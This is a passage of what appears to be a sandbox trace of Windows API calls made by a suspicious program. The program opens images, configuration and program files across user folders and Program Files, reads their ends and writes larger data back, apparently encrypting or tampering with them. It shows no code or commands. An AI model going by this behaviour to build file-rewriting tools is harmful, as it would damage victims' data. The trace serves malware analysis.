lpBuffer=0x2624cc8, nNumberOfBytesToRead=0x432, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2624cc8*, lpNumberOfBytesRead=0x32cf2bc*=0x432, lpOverlapped=0x0) returned 1 [0035.871] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0035.871] WriteFile (in: hFile=0x1ac, lpBuffer=0x276a348*, nNumberOfBytesToWrite=0x9ba, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a348*, lpNumberOfBytesWritten=0x32cf2d0*=0x9ba, lpOverlapped=0x0) returned 1 [0035.871] CloseHandle (hObject=0x1ac) returned 1 [0035.872] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8OLLNGA.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\8ollnga.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0035.872] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.872] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xf412 [0035.872] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.872] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.872] ReleaseMutex (hMutex=0x128) returned 1 [0035.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8OLLNGA.jpg", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8OLLNGA.jpg", cchWideChar=11, lpMultiByteStr=0x1e6314c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8OLLNGA.jpg", lpUsedDefaultChar=0x0) returned 11 [0035.873] ReadFile (in: hFile=0x1ac, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0035.873] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xe412 [0035.873] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0035.873] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xe412 [0035.874] WriteFile (in: hFile=0x1ac, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.874] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0035.874] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.874] CloseHandle (hObject=0x1ac) returned 1 [0035.875] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NQ9coU\\crQ_xNat6aF2t-ugx.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nq9cou\\crq_xnat6af2t-ugx.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0035.875] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.875] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x917d [0035.875] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.875] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.875] ReleaseMutex (hMutex=0x128) returned 1 [0035.876] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="crQ_xNat6aF2t-ugx.jpg", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0035.876] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="crQ_xNat6aF2t-ugx.jpg", cchWideChar=21, lpMultiByteStr=0x1e78ab4, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crQ_xNat6aF2t-ugx.jpg", lpUsedDefaultChar=0x0) returned 21 [0035.876] ReadFile (in: hFile=0x1ac, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0035.876] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x817d [0035.876] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0035.876] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x817d [0035.877] WriteFile (in: hFile=0x1ac, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.877] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0035.877] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.877] CloseHandle (hObject=0x1ac) returned 1 [0035.878] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0035.878] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.878] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x2949 [0035.878] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.878] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.878] ReleaseMutex (hMutex=0x128) returned 1 [0035.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SoftBlue.jpg", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SoftBlue.jpg", cchWideChar=12, lpMultiByteStr=0x1e6314c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SoftBlue.jpg", lpUsedDefaultChar=0x0) returned 12 [0035.878] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0035.882] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1949 [0035.882] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0035.882] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1949 [0035.882] WriteFile (in: hFile=0x1ac, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.882] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0035.882] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.883] CloseHandle (hObject=0x1ac) returned 1 [0035.883] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0035.884] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.884] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xae [0035.884] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.884] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.884] ReleaseMutex (hMutex=0x128) returned 1 [0035.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e6334c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0035.884] ReadFile (in: hFile=0x1ac, lpBuffer=0x1e3a3c8, nNumberOfBytesToRead=0xae, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e3a3c8*, lpNumberOfBytesRead=0x32cf2bc*=0xae, lpOverlapped=0x0) returned 1 [0035.885] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0035.885] WriteFile (in: hFile=0x1ac, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x636, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x32cf2d0*=0x636, lpOverlapped=0x0) returned 1 [0035.885] CloseHandle (hObject=0x1ac) returned 1 [0035.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0035.886] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.886] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x3a18 [0035.886] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.886] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.886] ReleaseMutex (hMutex=0x128) returned 1 [0035.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msolui100.rll", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0035.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msolui100.rll", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msolui100.rll", lpUsedDefaultChar=0x0) returned 13 [0035.886] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0035.888] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2a18 [0035.888] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0035.889] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2a18 [0035.889] WriteFile (in: hFile=0x1ac, lpBuffer=0x27724b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x27724b8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.889] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0035.889] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.889] CloseHandle (hObject=0x1ac) returned 1 [0035.890] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.visualbasic.targets"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.678] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.678] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x143e [0036.678] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0036.678] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.678] ReleaseMutex (hMutex=0x128) returned 1 [0036.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Workflow.VisualBasic.Targets", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0036.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Workflow.VisualBasic.Targets", cchWideChar=28, lpMultiByteStr=0x1e7fb7c, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workflow.VisualBasic.Targets", lpUsedDefaultChar=0x0) returned 28 [0036.678] ReadFile (in: hFile=0x1ac, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x143e, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x32cf2bc*=0x143e, lpOverlapped=0x0) returned 1 [0036.699] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0036.699] WriteFile (in: hFile=0x1ac, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x19c6, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x32cf2d0*=0x19c6, lpOverlapped=0x0) returned 1 [0036.699] CloseHandle (hObject=0x1ac) returned 1 [0036.699] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\PDIALOG.exe.mui" (normalized: "c:\\program files\\windows journal\\en-us\\pdialog.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0036.709] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\PDIALOG.exe.mui", nBufferLength=0x104, lpBuffer=0x32cf694, lpFilePart=0x32cf690 | out: lpBuffer="C:\\Program Files\\Windows Journal\\en-US\\PDIALOG.exe.mui", lpFilePart=0x32cf690*="PDIALOG.exe.mui") returned 0x36 [0036.709] GetLastError () returned 0x5 [0036.709] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x32cf8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̬폈H̬퐔H̬L̬ꠐǦ\x01") returned 0x13 [0036.709] LocalFree (hMem=0x70b5a8) returned 0x0 [0036.709] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x32cd860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0036.709] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x32cf894) [0036.710] RtlUnwind (TargetFrame=0x32cf8fc, TargetIp=0x406ffc, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0036.710] RtlUnwind (TargetFrame=0x32cf920, TargetIp=0x407184, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0036.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\PDIALOG.exe.mui" (normalized: "c:\\program files\\windows journal\\en-us\\pdialog.exe.mui")) returned 0x20 [0036.710] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Month_Calendar.jtp" (normalized: "c:\\program files\\windows journal\\templates\\month_calendar.jtp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0036.710] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Month_Calendar.jtp", nBufferLength=0x104, lpBuffer=0x32cf694, lpFilePart=0x32cf690 | out: lpBuffer="C:\\Program Files\\Windows Journal\\Templates\\Month_Calendar.jtp", lpFilePart=0x32cf690*="Month_Calendar.jtp") returned 0x3d [0036.710] GetLastError () returned 0x5 [0036.710] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x32cf8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̬폈H̬퐔H̬L̬ꠐǦ\x01") returned 0x13 [0036.710] LocalFree (hMem=0x70b5a8) returned 0x0 [0036.710] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x32cd860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0036.711] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x32cf894) [0036.711] RtlUnwind (TargetFrame=0x32cf8fc, TargetIp=0x406ffc, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0036.711] RtlUnwind (TargetFrame=0x32cf920, TargetIp=0x407184, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0036.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Month_Calendar.jtp" (normalized: "c:\\program files\\windows journal\\templates\\month_calendar.jtp")) returned 0x20 [0036.711] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\wabmig.exe" (normalized: "c:\\program files\\windows mail\\wabmig.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0036.711] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Mail\\wabmig.exe", nBufferLength=0x104, lpBuffer=0x32cf694, lpFilePart=0x32cf690 | out: lpBuffer="C:\\Program Files\\Windows Mail\\wabmig.exe", lpFilePart=0x32cf690*="wabmig.exe") returned 0x28 [0036.711] GetLastError () returned 0x5 [0036.711] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x32cf8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̬폈H̬퐔H̬L̬ꠐǦ\x01") returned 0x13 [0036.711] LocalFree (hMem=0x70b5a8) returned 0x0 [0036.711] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x32cd860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0036.711] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x32cf894) [0036.712] RtlUnwind (TargetFrame=0x32cf8fc, TargetIp=0x406ffc, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0036.712] RtlUnwind (TargetFrame=0x32cf920, TargetIp=0x407184, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0036.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Mail\\wabmig.exe" (normalized: "c:\\program files\\windows mail\\wabmig.exe")) returned 0x20 [0036.712] CreateFileW (lpFileName="C:\\Program Files\\Windows Portable Devices\\leechftp.exe" (normalized: "c:\\program files\\windows portable devices\\leechftp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0036.712] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Portable Devices\\leechftp.exe", nBufferLength=0x104, lpBuffer=0x32cf694, lpFilePart=0x32cf690 | out: lpBuffer="C:\\Program Files\\Windows Portable Devices\\leechftp.exe", lpFilePart=0x32cf690*="leechftp.exe") returned 0x36 [0036.712] GetLastError () returned 0x20 [0036.712] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x32cf8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?p̬폈H̬퐔H̬L̬ꠐǦ\x01") returned 0x51 [0036.712] LocalFree (hMem=0x70da60) returned 0x0 [0036.712] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x32cd860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0036.712] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x32cf894) [0036.712] RtlUnwind (TargetFrame=0x32cf8fc, TargetIp=0x406ffc, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0036.713] RtlUnwind (TargetFrame=0x32cf920, TargetIp=0x407184, ExceptionRecord=0x32cf378, ReturnValue=0x0) [0036.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Portable Devices\\leechftp.exe" (normalized: "c:\\program files\\windows portable devices\\leechftp.exe")) returned 0x20 [0036.713] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\liesmich.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.721] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: 